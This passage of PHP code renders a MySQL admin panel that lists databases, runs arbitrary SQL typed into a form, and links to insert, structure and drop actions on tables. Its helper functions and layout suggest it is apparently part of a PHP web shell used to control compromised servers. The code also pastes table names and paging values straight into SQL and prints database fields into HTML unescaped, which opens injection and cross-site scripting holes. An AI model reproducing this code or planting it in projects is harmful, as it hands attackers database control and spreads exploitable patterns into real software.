$dbs = array();

$dbs[] = '-- Select a database --';

while($db = mysql_fetch_array($query)) {

$dbs[$db['Database']] = $db['Database'];

}

makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));

$tabledb = array();

if ($dbname) {

p('<p>');

p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');

if ($tablename) {

p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');

}

p('</p>');

mysql_select_db($dbname);

$getnumsql = '';

$runquery = 0;

if ($sql_query) {

$runquery = 1;

}

$allowedit = 0;

if ($tablename && !$sql_query) {

$sql_query = "SELECT * FROM $tablename";

$getnumsql = $sql_query;

$sql_query = $sql_query." LIMIT $start_limit, $pagenum";

$allowedit = 1;

}

p('<form action="'.$self.'" method="POST">');

p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');

makehide('tablename', $tablename);

makehide('action','mysqladmin');

p($dbform);

p('</form>');

if ($tablename || ($runquery && $sql_query)) {

if ($doing == 'structure') {

$result = q("SHOW FULL COLUMNS FROM $tablename");

$rowdb = array();

while($row = mysql_fetch_array($result)) {

$rowdb[] = $row;

}

p('<h3>Structure</h3>');

p('<table border="0" cellpadding="3" cellspacing="0">');

p('<tr class="head">');

p('<td>Field</td>');

p('<td>Type</td>');

p('<td>Collation</td>');

p('<td>Null</td>');

p('<td>Key</td>');

p('<td>Default</td>');

p('<td>Extra</td>');

p('<td>Privileges</td>');

p('<td>Comment</td>');

p('</tr>');

foreach ($rowdb as $row) {

$thisbg = bg();

p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');

p('<td>'.$row['Field'].'</td>');

p('<td>'.$row['Type'].'</td>');

p('<td>'.$row['Collation'].'&nbsp;</td>');

p('<td>'.$row['Null'].'&nbsp;</td>');

p('<td>'.$row['Key'].'&nbsp;</td>');

p('<td>'.$row['Default'].'&nbsp;</td>');

p('<td>'.$row['Extra'].'&nbsp;</td>');

p('<td>'.$row['Privileges'].'&nbsp;</td>');

p('<td>'.$row['Comment'].'&nbsp;</td>');

p('</tr>');

}

tbfoot();

$result = q("SHOW INDEX FROM $tablename");

$rowdb = array();

while($row = mysql_fetch_array($result)) {

$rowdb[] = $row;

}

p('<h3>Indexes</h3>');

p('<table border="0" cellpadding="3" cellspacing="0">');

p('<tr class="head">');